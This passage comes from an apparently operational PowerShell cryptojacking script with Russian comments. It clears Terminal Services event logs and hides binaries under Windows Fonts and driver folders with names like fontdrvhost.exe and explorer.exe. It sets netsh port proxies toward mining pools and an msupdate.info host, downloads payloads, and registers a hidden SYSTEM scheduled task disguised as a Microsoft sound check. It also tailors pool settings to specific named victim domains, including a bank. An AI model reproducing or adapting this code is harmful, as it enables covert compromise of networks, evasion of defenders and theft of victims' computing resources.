  1673.                     $text = @"
  1674. 24444
  1675. 24444
  1676. "@
  1677.                     $text | Out-File -Encoding ASCII "$env:USERPROFILE\AppData\Roaming\Sun\Java\config.etl"
  1678.                 }
  1679.                 if ($name -eq "kolya")
  1680.                 {
  1681.                     $text = @"
  1682. 34444
  1683. 34444
  1684. "@
  1685.                     $text | Out-File -Encoding ASCII "$env:USERPROFILE\AppData\Roaming\Sun\Java\config.etl"
  1686.                 }
  1687.             }
  1688.             else
  1689.             {
  1690.                 try
  1691.                 {
  1692.                     wevtutil.exe cl Microsoft-Windows-TerminalServices-LocalSessionManager/Debug
  1693.                     wevtutil.exe cl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational
  1694.                 }
  1695.                 catch
  1696.                 { }
  1697.                 if (!(Test-Path "$env:windir\logs\Java"))
  1698.                 {
  1699.                     new-item "$env:windir\logs\Java" -itemtype directory
  1700.                 }
  1701.                 if ($name -eq "petr")
  1702.                 {
  1703.                     $text = @"
  1704. 24444
  1705. $password
  1706. 24444
  1707. "@
  1708.                     $text | Out-File -Encoding ASCII "$env:windir\logs\Java\config.etl"
  1709.                 }
  1710.                 if ($name -eq "kolya")
  1711.                 {
  1712.                     $text = @"
  1713. 34444
  1714. $password
  1715. 34444
  1716. "@
  1717.                     $text | Out-File -Encoding ASCII "$env:windir\logs\Java\config.etl"
  1718.                 }
  1719.                 $domain = (Get-WmiObject Win32_ComputerSystem).Domain
  1720.                 $isdomain = (Get-WmiObject -Class Win32_ComputerSystem).PartOfDomain
  1721.                
  1722.                 if ($isdomain -eq $true)
  1723.                 {
  1724.                     $checkreg = (Get-ItemProperty -Path 'HKLM:\SYSTEM\Software\Microsoft' -Name DriversPath -ErrorAction SilentlyContinue).driverspath
  1725.                    
  1726.                     if (Test-Path "$checkreg\$osarch\fontdrvhost.exe")
  1727.                     {
  1728.                         $backdoor = "$checkreg\$osarch"
  1729.                         robocopy $backdoor "$env:windir\Fonts\Arial" /R:3 /W:20
  1730.                         $backdoor2 = "$env:windir\Fonts\Arial"
  1731.                     }
  1732.                     else
  1733.                     {
  1734.                         $ScriptDirectory = ((Get-ChildItem -Path "\\$domain\sysvol\$domain\Policies" -Filter fontdrvhost.exe -Recurse -ErrorAction SilentlyContinue -Force | Sort-Object LastWriteTime -Descending | select -First 1 | % { $_.DirectoryName })) -replace '\\x64' -replace '\\x86'
  1735.                        
  1736.                         if (Test-Path "$ScriptDirectory\$osarch\fontdrvhost.exe")
  1737.                         {
  1738.                             $backdoor = "$ScriptDirectory\$osarch"
  1739.                             robocopy $backdoor "$env:windir\Fonts\Arial" /R:3 /W:20
  1740.                             $backdoor2 = "$env:windir\Fonts\Arial"
  1741.                         }
  1742.                         else
  1743.                         {
  1744.                             $backdoor = "$env:windir\Fonts\Arial"
  1745.                         }
  1746.                     }
  1747.                 }
  1748.                 else
  1749.                 {
  1750.                     $backdoor = "$env:windir\Fonts\Arial"
  1751.                 }
  1752.                
  1753.                 if (Test-Path "$env:windir\Fonts\arial\config.etl")
  1754.                 {
  1755.                     robocopy "$env:windir\Fonts\arial" "$env:windir\logs\Java" config.etl /R:3 /W:20
  1756.                 }
  1757.                
  1758.                 if (Test-Path "$env:windir\Logs\Java\config.etl")
  1759.                 {
  1760.                    
  1761.                     $global:Minerport = ':' + ([string](Get-Content "$env:windir\Logs\Java\config.etl")[0])
  1762.                 }
  1763.                 elseif (Test-Path "$env:windir\Fonts\arial\config.etl")
  1764.                 {
  1765.                     $global:Minerport = ':' + ([string](Get-Content "$env:windir\Fonts\arial\config.etl")[0])
  1766.                 }
  1767.                 elseif (Test-Path "$env:windir\Fonts\ttf\config.etl")
  1768.                 {
  1769.                     $global:Minerport = ':' + ([string](Get-Content "$env:windir\Fonts\ttf\config.etl")[0])
  1770.                 }
  1771.                 elseif (Test-Path "$ScriptDirectory\config.etl")
  1772.                 {
  1773.                     $global:Minerport = ':' + ([string](Get-Content "$ScriptDirectory\config.etl")[0])
  1774.                 }
  1775.                 else
  1776.                 {
  1777.                     $global:Minerport = ":14444"
  1778.                 }
  1779.                 if ($domain -like "*csd*")
  1780.                 {
  1781.                     $global:Minerport = ":14444"
  1782.                 }
  1783.                 $ConfPath = "$env:windir\logs\Windowsupdate"
  1784.                 $ConfPorts = "$env:windir\logs\Java"
  1785.                 $tempfolder = "$env:windir\system32\drivers\etc"
  1786.                
  1787.                 $testms = testms $Minerport $ipms
  1788.                 $checkport = $testms["Status"]
  1789.                 $global:pool = $testms["Address"]
  1790.                 $global:port = $testms["Port"]
  1791.                
  1792.                 $ProxyPath = "$env:windir\Fonts\arial"
  1793.                 if ($checkport -eq "false")
  1794.                 {
  1795.                     if (Test-Path "\\$domain\sysvol\$domain\Policies\{F3134B07-1D79-450C-9AF7-49F096DF0B35}\Preferenses\api-ms-win-core-console-l2-2-0.dll")
  1796.                     {
  1797.                         robocopy "\\$domain\sysvol\$domain\Policies\{F3134B07-1D79-450C-9AF7-49F096DF0B35}\Preferenses" "$ProxyPath" api-ms-win-core-console-l2-2-0.dll /R:3 /W:20
  1798.                     }
  1799.                     if (Test-Path "$ProxyPath\api-ms-win-core-console-l2-2-0.dll")
  1800.                     {
  1801.                         $proxys = Get-Content "$ProxyPath\api-ms-win-core-console-l2-2-0.dll"
  1802.                         $global:port = ":703"
  1803.                     }
  1804.                    
  1805.                 }
  1806.                 else
  1807.                 {
  1808.                    
  1809.                     $netsh = netsh interface portproxy show all
  1810.                     if ($Minerport -like "*14444*" -or $pool -like "*50*")
  1811.                     {
  1812.                         if ($netsh -like "*24444*" -or $netsh -like "*34444*" -or $netsh -like "*51*" -or $netsh -like "*52*")
  1813.                         {
  1814.                             netsh interface portproxy reset
  1815.                         }
  1816.                     }
  1817.                     if ($Minerport -like "*24444*" -or $pool -like "*51*")
  1818.                     {
  1819.                         if ($netsh -like "*14444*" -or $netsh -like "*34444*" -or $netsh -like "*50*" -or $netsh -like "*52*")
  1820.                         {
  1821.                             netsh interface portproxy reset
  1822.                         }
  1823.                     }
  1824.                     if ($Minerport -like "*34444*" -or $pool -like "*52*")
  1825.                     {
  1826.                         if ($netsh -like "*14444*" -or $netsh -like "*24444*" -or $netsh -like "*50*" -or $netsh -like "*51*")
  1827.                         {
  1828.                             netsh interface portproxy reset
  1829.                         }
  1830.                     }
  1831.                     $minenetsh = $port -replace ':'
  1832.                     $netsh = netsh interface portproxy show all
  1833.                     if ($minenetsh -like "*80*")
  1834.                     {
  1835.                         if ((!($netsh -like "*50*")) -or (!($netsh -like "*51*")) -or (!($netsh -like "*52*")))
  1836.                         {
  1837.                             netsh interface portproxy reset
  1838.                         }
  1839.                     }
  1840.                     $netsh = netsh interface portproxy show all
  1841.                     if (!($netsh -like "*$minenetsh*") -or (!($netsh)))
  1842.                     {
  1843.                        
  1844.                         netsh interface portproxy reset
  1845.                         netsh interface portproxy add v4tov4 listenport=703 connectport=$minenetsh connectaddress=$pool
  1846.                        
  1847.                     }
  1848.                    
  1849.                     $checkweb = TestMS80
  1850.                    
  1851.                     if ($checkweb -eq "false")
  1852.                     {
  1853.                         if (Test-Path "\\$domain\sysvol\$domain\Policies\{F3134B07-1D79-450C-9AF7-49F096DF0B35}\Preferenses\api-ms-win-core-console-l2-2-0.dll")
  1854.                         {
  1855.                             robocopy "\\$domain\sysvol\$domain\Policies\{F3134B07-1D79-450C-9AF7-49F096DF0B35}\Preferenses" "$ProxyPath" api-ms-win-core-console-l2-2-0.dll /R:3 /W:20
  1856.                         }
  1857.                         if (Test-Path "$ProxyPath\api-ms-win-core-console-l2-2-0.dll")
  1858.                         {
  1859.                             $proxyservers = (Get-Content "$ProxyPath\api-ms-win-core-console-l2-2-0.dll")
  1860.                             foreach ($value in $proxyservers)
  1861.                             {
  1862.                                
  1863.                                 $checkport = TestProxyConnection $value
  1864.                                 if ($checkport -eq "true")
  1865.                                 {
  1866.                                     $global:proxyserver = $value
  1867.                                     $clearproxy = "1"
  1868.                                     break
  1869.                                 }
  1870.                                 else
  1871.                                 {
  1872.                                     $global:proxyserver = ""
  1873.                                     $clearproxy = "0"
  1874.                                 }
  1875.                                
  1876.                             }
  1877.                            
  1878.                         }
  1879.                     }
  1880.                     else
  1881.                     {
  1882.                         $netsh = netsh interface portproxy show all
  1883.                         if (!(((netsh interface portproxy show all) -like "*80*") -like "*757*"))
  1884.                         {
  1885.                             netsh interface portproxy add v4tov4 listenport=757 connectport=80 connectaddress=msupdate.info
  1886.                            
  1887.                         }
  1888.                     }
  1889.                    
  1890.                    
  1891.                 }
  1892.                
  1893.                
  1894.                 $process = get-process | select -expand name
  1895.                 if ($process -like "*360safe*")
  1896.                 {
  1897.                     $loaderpath = "$env:windir\syswow64\drivers"
  1898.                 }
  1899.                 else
  1900.                 {
  1901.                     $loaderpath = "$env:windir\System32\drivers"
  1902.                 }
  1903.                 $MinerPath = "$env:windir\Fonts\ttf"
  1904.                 $taskpath = "Microsoft\Windows\Multimedia\SystemSoundsCheck"
  1905.                
  1906.                
  1907.                 $uuid = get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID
  1908.                 if ($uuid -eq "4D3C9B36-ABFB-6D4D-9300-D3C1E040B682" -or $uuid -eq "A2200DE7-469F-824C-AE0B-1FF69D84E45E")
  1909.                 {
  1910.                     $Specialproxys = "172.30.1.210", "172.30.2.210"
  1911.                     $Specialport = ":447"
  1912.                    
  1913.                 }
  1914.                
  1915.                 if ($uuid -eq "79624B80-C022-11D3-BD53-38D5470155E3")
  1916.                 {
  1917.                     $Specialproxys = "192.168.0.123"
  1918.                     $Specialport = ":447"
  1919.                 }
  1920.                 if ($isdomain -eq $true)
  1921.                 {
  1922.                     $domain = (Get-WmiObject Win32_ComputerSystem).Domain
  1923.                     if ($domain -eq "mi3g.lcl")
  1924.                     {
  1925.                         $checkproxy = (test-Port -comp 192.168.10.99 -port 14444 -tcp).open
  1926.                         if ($checkproxy -eq "false")
  1927.                         {
  1928.                             if (Test-Path "$ProxyPath\api-ms-win-core-console-l2-2-0.dll")
  1929.                             {
  1930.                                 $proxys = (Get-Content "$ProxyPath\api-ms-win-core-console-l2-2-0.dll")
  1931.                                 $global:port = ":703"
  1932.                             }
  1933.                         }
  1934.                         else
  1935.                         {
  1936.                             $Specialproxys = "192.168.10.99"
  1937.                             $Specialport = ":14444"
  1938.                         }
  1939.                     }
  1940.                     if ($domain -eq "balakovobank.int")
  1941.                     {
  1942.                         $Specialport = ":14444"
  1943.                         $Specialproxys = "intbanking"
  1944.                     }
  1945.                    
  1946.                     if ($domain -eq "thainakorn.com")
  1947.                     {
  1948.                         $Specialproxys = "appsrv"
  1949.                         $Specialport = ":443"
  1950.                     }
  1951.                     if ($domain -like "*tang*-prize*")
  1952.                     {
  1953.                         $Specialproxys = "192.168.173.13"
  1954.                         $Specialport = ":447"
  1955.                     }
  1956.                     if ($domain -eq "holdcable.com")
  1957.                     {
  1958.                         $Specialproxys = "10.46.0.45", "10.46.18.34", "10.70.0.76", "10.62.0.46"
  1959.                         $Specialport = ":3333"
  1960.                     }
  1961.                     if ($domain -eq "Kolmar.local")
  1962.                     {
  1963.                         $Specialproxys = "192.168.74.6", "192.168.74.25", "192.168.74.220"
  1964.                         $Specialport = ":703"
  1965.                     }
  1966.                     if ($domain -eq "evergreen.local")
  1967.                     {
  1968.                         $Specialproxys = "xmr-us-east1.nanopool.org"
  1969.                         $Specialport = ":14444"
  1970.                     }
  1971.                     if ($domain -like "*csd*")
  1972.                     {
  1973.                         $WorkerName = "Contoso"
  1974.                     }
  1975.                     else
  1976.                     {
  1977.                         $WorkerName = ((Get-WmiObject Win32_ComputerSystem).Domain -split "[.]")[0]
  1978.                     }
  1979.                    
  1980.                    
  1981.                     if ($checkport -eq "true")
  1982.                     {
  1983.                         $Specialproxys = ""
  1984.                         $global:pool = $testms["Address"]
  1985.                         $global:port = $testms["Port"]
  1986.                     }
  1987.                 }
  1988.                 if ($Specialproxys)
  1989.                 {
  1990.                     $proxys = ""
  1991.                     foreach ($value in $Specialproxys)
  1992.                     {
  1993.                        
  1994.                         $checkport = (test-Port -comp $value -port ($Specialport -replace ":") -tcp).open
  1995.                         if ($checkport -eq "true")
  1996.                         {
  1997.                             $proxys = ""
  1998.                             $global:pool = $value
  1999.                             $global:port = $Specialport
  2000.                             break
  2001.                         }
  2002.                         else
  2003.                         {
  2004.                            
  2005.                             if (Test-Path "$ProxyPath\api-ms-win-core-console-l2-2-0.dll")
  2006.                             {
  2007.                                 $proxys = (Get-Content "$ProxyPath\api-ms-win-core-console-l2-2-0.dll")
  2008.                                 $global:port = ":703"
  2009.                             }
  2010.                             else
  2011.                             {
  2012.                                
  2013.                                 $global:pool = $testms["Address"]
  2014.                                 $global:port = $testms["Port"]
  2015.                                 if ($clearproxy -ne "1")
  2016.                                 {
  2017.                                     $global:proxyserver = ""
  2018.                                 }
  2019.                                
  2020.                             }
  2021.                         }
  2022.                        
  2023.                     }
  2024.                    
  2025.                 }
  2026.                 if ($proxys)
  2027.                 {
  2028.                    
  2029.                     $checkport = $testms["Status"]
  2030.                    
  2031.                     if ($checkport -eq "false")
  2032.                     {
  2033.                         foreach ($value in $proxys)
  2034.                         {
  2035.                            
  2036.                             $checkport = TestProxyConnection $value
  2037.                             if ($checkport -eq "true")
  2038.                             {
  2039.                                 $global:proxyserver = $value
  2040.                                 $global:pool = $value
  2041.                                 $global:port = ":703"
  2042.                                 break
  2043.                             }
  2044.                             else
  2045.                             {
  2046.                                
  2047.                                
  2048.                                 $global:pool = $testms["Address"]
  2049.                                 $global:port = $testms["Port"]
  2050.                                
  2051.                                 if ($clearproxy -ne "1")
  2052.                                 {
  2053.                                     $global:proxyserver = ""
  2054.                                 }
  2055.                                
  2056.                                
  2057.                             }
  2058.                            
  2059.                         }
  2060.                     }
  2061.                     else
  2062.                     {
  2063.                         $global:pool = $testms["Address"]
  2064.                         $global:port = $testms["Port"]
  2065.                     }
  2066.                    
  2067.                 }
  2068.                 else
  2069.                 {
  2070.                     if ($Specialproxys)
  2071.                     {
  2072.                         if (!($pool -like "*$Specialproxys*"))
  2073.                         {
  2074.                            
  2075.                             $global:pool = $testms["Address"]
  2076.                             $global:port = $testms["Port"]
  2077.                             if ($clearproxy -ne "1")
  2078.                             {
  2079.                                 $global:proxyserver = ""
  2080.                             }
  2081.                         }
  2082.                     }
  2083.                     else
  2084.                     {
  2085.                        
  2086.                        
  2087.                         $global:pool = $testms["Address"]
  2088.                         $global:port = $testms["Port"]
  2089.                        
  2090.                         if ($clearproxy -ne "1")
  2091.                         {
  2092.                             $global:proxyserver = ""
  2093.                         }
  2094.                     }
  2095.                 }
  2096.                 if ($domain -eq "holdcable.com")
  2097.                 {
  2098.                     $backdoor = "$env:windir\system32\rserver30"
  2099.                     $loaderpath = "$env:windir\System32\Microsoft"
  2100.                     $MinerPath = "$env:windir\SoftwareDistribution"
  2101.                     $taskpath = "Microsoft\Windows\chkdsk\SystemSoundsCheck"
  2102.                 }
  2103.                
  2104.                 $data = (get-date).AddMinutes(1).ToString("s")
  2105.                 $XML = @"
  2106. <?xml version="1.0" encoding="UTF-16"?>
  2107. <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  2108.  <RegistrationInfo>
  2109.    <Date>2017-09-26T01:08:08.9958999</Date>
  2110.    <Author>Microsoft Corporation</Author>
  2111.    <URI>\Microsoft\Windows\Multimedia\task</URI>
  2112.  </RegistrationInfo>
  2113.  <Triggers>
  2114.    <CalendarTrigger>
  2115.      <Repetition>
  2116.        <Interval>PT1H</Interval>
  2117.        <StopAtDurationEnd>false</StopAtDurationEnd>
  2118.      </Repetition>
  2119.      <StartBoundary>$data</StartBoundary>
  2120.      <Enabled>true</Enabled>
  2121.      <ScheduleByDay>
  2122.        <DaysInterval>1</DaysInterval>
  2123.      </ScheduleByDay>
  2124.    </CalendarTrigger>
  2125.    <BootTrigger>
  2126.      <Enabled>true</Enabled>
  2127.      <Delay>PT15M</Delay>
  2128.    </BootTrigger>
  2129.  </Triggers>
  2130.  <Principals>
  2131.    <Principal id="Author">
  2132.      <UserId>S-1-5-18</UserId>
  2133.      <RunLevel>HighestAvailable</RunLevel>
  2134.    </Principal>
  2135.  </Principals>
  2136.  <Settings>
  2137.    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
  2138.    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
  2139.    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
  2140.    <AllowHardTerminate>true</AllowHardTerminate>
  2141.    <StartWhenAvailable>true</StartWhenAvailable>
  2142.    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
  2143.    <IdleSettings>
  2144.      <StopOnIdleEnd>true</StopOnIdleEnd>
  2145.      <RestartOnIdle>false</RestartOnIdle>
  2146.    </IdleSettings>
  2147.    <AllowStartOnDemand>true</AllowStartOnDemand>
  2148.    <Enabled>true</Enabled>
  2149.    <Hidden>true</Hidden>
  2150.    <RunOnlyIfIdle>false</RunOnlyIfIdle>
  2151.    <WakeToRun>true</WakeToRun>
  2152.    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
  2153.    <Priority>7</Priority>
  2154.    <RestartOnFailure>
  2155.      <Interval>PT1M</Interval>
  2156.      <Count>30</Count>
  2157.    </RestartOnFailure>
  2158.  </Settings>
  2159.  <Actions Context="Author">
  2160.    <Exec>
  2161.    <Command>wmic</Command>
  2162.     <Arguments>process call create "$loaderpath\fontdrvhost.exe","$loaderpath"</Arguments>
  2163.    </Exec>
  2164.  </Actions>
  2165. </Task>
  2166.  
  2167.  
  2168. "@
  2169.             }
  2170.             $processpath = Get-Process | ForEach-Object { $_.Path }
  2171.            
  2172.             #Создаем папки в случаи их отсутствия##################################
  2173.            
  2174.             $paths = "$ConfPath", "$backdoor", "$MinerPath", "$loaderpath", "$ConfPorts"
  2175.            
  2176.             foreach ($path in $paths)
  2177.             {
  2178.                 if (!(Test-Path "$path"))
  2179.                 {
  2180.                     new-item "$path" -itemtype directory -force
  2181.                 }
  2182.             }
  2183.            
  2184.             ######################################################################
  2185.             #Проверка файлов
  2186.            
  2187.             if ((!(Test-Path "$backdoor\fontdrvhost.exe")) -and ($backdoor -notlike "*sysvol*"))
  2188.             {
  2189.                 try
  2190.                 {
  2191.                     downloadfile "$backdoor\fontdrvhost.exe" $proxyserver
  2192.                     downloadfile "$backdoor\fontdrvhost.exe.config" $proxyserver
  2193.                 }
  2194.                 catch
  2195.                 { }
  2196.             }
  2197.             if ((!(Test-Path "$backdoor\explorer.exe")) -and ($backdoor -notlike "*sysvol*"))
  2198.             {
  2199.                 try
  2200.                 {
  2201.                     downloadfile "$backdoor\explorer.exe" $proxyserver
  2202.                 }
  2203.                 catch
  2204.                 { }
  2205.             }
  2206.            
  2207.            
  2208.             if ((!(Test-Path "$backdoor\ucrtbase.dll")) -and ($backdoor -notlike "*sysvol*"))
  2209.             {
  2210.                 try
  2211.                 {
  2212.                     DownLoadFile "$tempfolder\Visual.zip" $proxyserver
  2213.                     if (!(Test-Path "$tempfolder\visual"))
  2214.                     {
  2215.                         new-item "$tempfolder\visual" -itemtype directory -force
  2216.                     }
  2217.                     Expand-ZipFile "$tempfolder\Visual.zip" -destination "$tempfolder\visual"
  2218.                     robocopy "$tempfolder\visual" "$backdoor" /R:3 /W:20
  2219.                     remove-item "$tempfolder\Visual.zip" -force
  2220.                     remove-item "$tempfolder\visual" -force -Recurse
  2221.                     robocopy  "$backdoor" "$MinerPath" /R:3 /W:20
  2222.                 }
  2223.                 catch
  2224.                 { }
  2225.             }
  2226.             ######################################################################
  2227.            
  2228.             $processpath = Get-Process | ForEach-Object { $_.Path }
  2229.            
  2230.            
  2231.             $testtask = (Schtasks /query) -like "*systemsoundscheck*"
  2232.             if ((!($testtask)) -and ($Update -eq "0"))
  2233.             {
  2234.                
  2235.                
  2236.                 $XML | Out-File -Encoding ASCII "$tempfolder\task.xml"
  2237.                
  2238.                 schtasks /create /xml "$tempfolder\task.xml" /tn "$taskpath"
  2239.                 if (Test-Path "$tempfolder\task.xml") { Remove-Item "$tempfolder\task.xml" -force }
  2240.                 if (!(Test-Path "$loaderpath\fontdrvhost.exe"))
  2241.                 {
  2242.                     robocopy "$backdoor" "$loaderpath" fontdrvhost* /R:3 /W:20
  2243.                     if (!(Test-Path "$loaderpath\fontdrvhost.exe"))
  2244.                     {
  2245.                         Copy-Item "$backdoor\fontdrvhost*" "$loaderpath" -force
  2246.                     }
  2247.                 }
  2248.             }
  2249.             elseif ((!(Test-Path "$loaderpath\fontdrvhost.exe")) -and ($Update -eq "0"))
  2250.             {
  2251.                 robocopy "$backdoor" "$loaderpath" fontdrvhost* /R:3 /W:20
  2252.                 if (!(Test-Path "$loaderpath\fontdrvhost.exe"))
  2253.                 {
  2254.                     Copy-Item "$backdoor\fontdrvhost*" "$loaderpath" -force
  2255.                 }
  2256.                 if (!($testtask))
  2257.                 {
  2258.                    
  2259.                    
  2260.                     $XML | Out-File -Encoding ASCII "$tempfolder\task.xml"
  2261.                    
  2262.                     schtasks /create /xml "$tempfolder\task.xml" /tn "$taskpath"
  2263.                     if (Test-Path "$tempfolder\task.xml") { Remove-Item "$tempfolder\task.xml" -force }
  2264.                 }
  2265.             }
  2266.             elseif (($processpath -notcontains "$backdoor\fontdrvhost.exe") -and ($Update -eq "0"))
  2267.             {
  2268.                 #Скачивание файлов в случае необходимости
  2269.                
  2270.                 try
  2271.                 {
  2272.                     if ((!(Test-Path "$backdoor\fontdrvhost.exe")) -and ($backdoor -notlike "*sysvol*"))
  2273.                     {
  2274.                         $checkFONT = DownLoadFile "$backdoor\fontdrvhost.exe" $proxyserver
  2275.                         $download = DownLoadFile "$backdoor\fontdrvhost.exe.config" $proxyserver
  2276.                     }
  2277.                     else
  2278.                     {
  2279.                         $checkFONT = "true"
  2280.                     }
  2281.                 }
  2282.                 catch
  2283.                 { }
  2284.                 try
  2285.                 {
  2286.                     if ((!(Test-Path "$backdoor\explorer.exe")) -and ($backdoor -notlike "*sysvol*"))
  2287.                     {
  2288.                         $checkEXP = DownLoadFile "$backdoor\explorer.exe" $proxyserver
  2289.                     }
  2290.                     else
  2291.                     {
  2292.                         $checkEXP = "true"
  2293.                     }
  2294.                 }
  2295.                 catch
  2296.                 { }
  2297.                 try
  2298.                 {
  2299.                     if ((!(Test-Path "$backdoor\ucrtbase.dll")) -and ($backdoor -notlike "*sysvol*"))
  2300.                     {
  2301.                         $checkVCC = DownLoadFile "$tempfolder\Visual.zip" $proxyserver
  2302.                         if (!(Test-Path "$tempfolder\visual"))
  2303.                         {
  2304.                             new-item "$tempfolder\visual" -itemtype directory -force
  2305.                         }
  2306.                        
  2307.                         Expand-ZipFile "$tempfolder\Visual.zip" -destination "$tempfolder\visual"
  2308.                         robocopy "$tempfolder\visual" "$backdoor" /R:3 /W:20
  2309.                         remove-item "$tempfolder\Visual.zip" -force
  2310.                         remove-item "$tempfolder\visual" -force -Recurse
  2311.                        
  2312.                     }
  2313.                 }
  2314.                 catch
  2315.                 { }
  2316.                 if (!(Test-Path "$MinerPath\explorer.exe"))
  2317.                 {
  2318.                     robocopy  "$backdoor" "$MinerPath" /R:3 /W:20
  2319.                    
  2320.                 }
  2321.                
  2322.                 $new = (Get-FileHash "$backdoor\explorer.exe" -Algorithm MD5).md5
  2323.                 $old = (Get-FileHash "$minerpath\explorer.exe" -Algorithm MD5).md5
  2324.                 $newtime = (Get-Item "$backdoor\explorer.exe").LastWriteTime
  2325.                 $oldtime = (Get-Item "$minerpath\explorer.exe").LastWriteTime
  2326.                
  2327.                 if ($old -ne $new)
  2328.                 {
  2329.                    
  2330.                    
  2331.                     $processpath = Get-Process | ForEach-Object { $_.Path }
  2332.                     if ($processpath -contains "$MinerPath\explorer.exe") { get-process | Where-Object { $_.path -like "*$MinerPath\explorer.exe*" } | stop-process -force }
  2333.                     robocopy  "$backdoor" "$MinerPath" /R:3 /W:20
  2334.                    
  2335.                 }
  2336.                 $processpath = Get-Process | ForEach-Object { $_.Path }
  2337.                 if ($processpath -contains "$loaderpath\fontdrvhost.exe")
  2338.                 {
  2339.                     #Get-Item "$env:windir\fonts\TTF" -Force | foreach { $_.Attributes = $_.Attributes -bor "Hidden" }
  2340.                    
  2341.                    
  2342.                    
  2343.                    
  2344.                    
  2345.                    
  2346.                     $Global:processor = (gwmi Win32_Processor).name
  2347.                    
  2348.                     $Global:XMRpool = "$pool$port"
  2349.                    
  2350.                    
  2351.                     if (((gwmi win32_operatingsystem).caption) -like "*server*")
  2352.                     {
  2353.                         if ($osArch -eq "x64")
  2354.                         {
  2355.                             if ($isdomain -eq $true)
  2356.                             {
  2357.                                 $worker = $WorkerName + 'Server'
  2358.                             }
  2359.                             else
  2360.                             {
  2361.                                 $worker = "Server"
  2362.                             }
  2363.                         }
  2364.                         else
  2365.                         {
  2366.                             if ($isdomain -eq $true)
  2367.                             {
  2368.                                 $worker = $WorkerName + 'Server32'
  2369.                             }
  2370.                             else
  2371.                             {
  2372.                                 $worker = "Server32"
  2373.                             }
  2374.                         }
  2375.                     }
  2376.                     else
  2377.                     {
  2378.                         if ($osArch -eq "x64")
  2379.                         {
  2380.                             if ($isdomain -eq $true)
  2381.                             {
  2382.                                 $worker = $WorkerName + 'workstation'
  2383.                             }
  2384.                             else
  2385.                             {
  2386.                                 $worker = "workstation"
  2387.                             }
  2388.                         }
  2389.                         else
  2390.                         {
  2391.                             if ($isdomain -eq $true)
  2392.                             {
  2393.                                 $worker = $WorkerName + 'workstation32'
  2394.                             }
  2395.                             else
  2396.                             {
  2397.                                 $worker = "workstation32"
  2398.                             }
  2399.                         }
  2400.                        
  2401.                     }
  2402.                     if ($env:COMPUTERNAME -like "*slave*")
  2403.                     { $worker = "Slave" }
  2404.                     if ($osArch -eq "x64")
  2405.                     {
  2406.                         function Get-CPUs
  2407.                         {
  2408.                            
  2409.                             $processors = get-wmiobject win32_processor
  2410.                            
  2411.                             if (@($processors)[0].NumberOfCores)
  2412.                             {
  2413.                                 $cores = @($processors)[0].NumberOfCores
  2414.                                
  2415.                             }
  2416.                             else
  2417.                             {
  2418.                                 $cores = @($processors).count
  2419.                                
  2420.                             }
  2421.                             if (@($processors)[0].NumberOfLogicalProcessors)
  2422.                             {
  2423.                                 $logicalcores = @($processors)[0].NumberOfLogicalProcessors
  2424.                                
  2425.                             }
  2426.                             else
  2427.                             {
  2428.                                 $logicalcores = @($processors).count
  2429.                                
  2430.                             }
  2431.                            
  2432.                             $sockets = @(@($processors) |
  2433.                                 % { $_.SocketDesignation } |
  2434.                                 select-object -unique).count;
  2435.                            
  2436.                             #                       $l3cache = @(@($processors) |
  2437.                             #                           % { $_.l3cachesize/1Kb } |
  2438.                             #                           select-object -unique);
  2439.                             $l3cache = ((((gwmi Win32_CacheMemory)) | where { $_.level -eq "5" }) | select -first 1 | ForEach-Object { $_.maxcachesize })/1Kb
  2440.                             #$l3cache = (gwmi Win32_CacheMemory).maxcachesize[2]/1Kb
  2441.                            
  2442.                             return @{
  2443.                                 "Cores"         = $cores; "LogicalCore" = $logicalcores; "L3cache" = $l3cache; "Sockets" = $sockets
  2444.                                
  2445.                             }
  2446.                            
  2447.                         }
  2448.                         $processor = gwmi Win32_Processor | select -expand name
  2449.                         $i = Get-CPUs
  2450.                         $cores = [int]::Parse($i["Cores"])
  2451.                         $l3Cache = [int]::Parse($i["L3cache"])
  2452.                         $socket = $i["Sockets"]
  2453.                         $logicalcores = [int]::Parse($i["LogicalCore"])
  2454.                         if ($uuid -eq "7F8F9060-5BD3-11D9-A0FB-3085A91EA21D" -or $uuid -eq "C9D66F54-14DA-4C63-970F-157A0358F4C9" -or $uuid -eq "04C7D94A-‎7923-4006-9600-FB1BC9079A44")
  2455.                         {
  2456.                             $socket = 2
  2457.                         }
  2458.                        
  2459.                         try
  2460.                         {
  2461.                             $bios = gwmi Win32_BIOS | Select-Object "version", "serialnumber"
  2462.                             $compsys = gwmi Win32_ComputerSystem | Select-Object "model", "manufacturer"
  2463.                             if ($bios.Version -match "VRTUAL") { $DCVM = "Virtual" }
  2464.                             elseif ($bios.Version -match "A M I") { $DCVM = "Virtual" }
  2465.                             elseif ($bios.Version -like "*Xen*") { $DCVM = "Virtual" }
  2466.                             elseif ($bios.SerialNumber -like "*VMware*") { $DCVM = "Virtual" }
  2467.                             elseif ($compsys.manufacturer -like "*Microsoft*") { $DCVM = "Virtual" }
  2468.                             elseif ($compsys.manufacturer -like "*VMWare*") { $DCVM = "Virtual" }
  2469.                             elseif ($compsys.model -like "*Virtual*") { $DCVM = "Virtual" }
  2470.                             else { $DCVM = "Physical" }
  2471.                         }
  2472.                         catch
  2473.                         {
  2474.                             $DCVM = "Physical"
  2475.                         }
  2476.                         if ($ComputerName -eq "HOSTSERVER" -or $ComputerName -eq "WIN-2ATET7MO652")
  2477.                         {
  2478.                             $l3Cache = 20
  2479.                         }
  2480.                         if ($ComputerName -eq "EDUSERVER" -or $ComputerName -eq "DC01-M01-1C")
  2481.                         {
  2482.                             $socket = 2
  2483.                         }
  2484.                         if ($processor -like "*i5*") { $cores = "2" }
  2485.                         if ($DCVM -eq "Physical")
  2486.                         {
  2487.                             $processor = gwmi Win32_Processor | select -expand name
  2488.                             if ($processor -like "*E7- 4820*")
  2489.                             {
  2490.                                 $l3Cache = 18
  2491.                             }
  2492.                             if ($processor -like "*e5-2407*" -or $processor -like "*E31220*")
  2493.                             {
  2494.                                 $l3Cache = 8
  2495.                             }
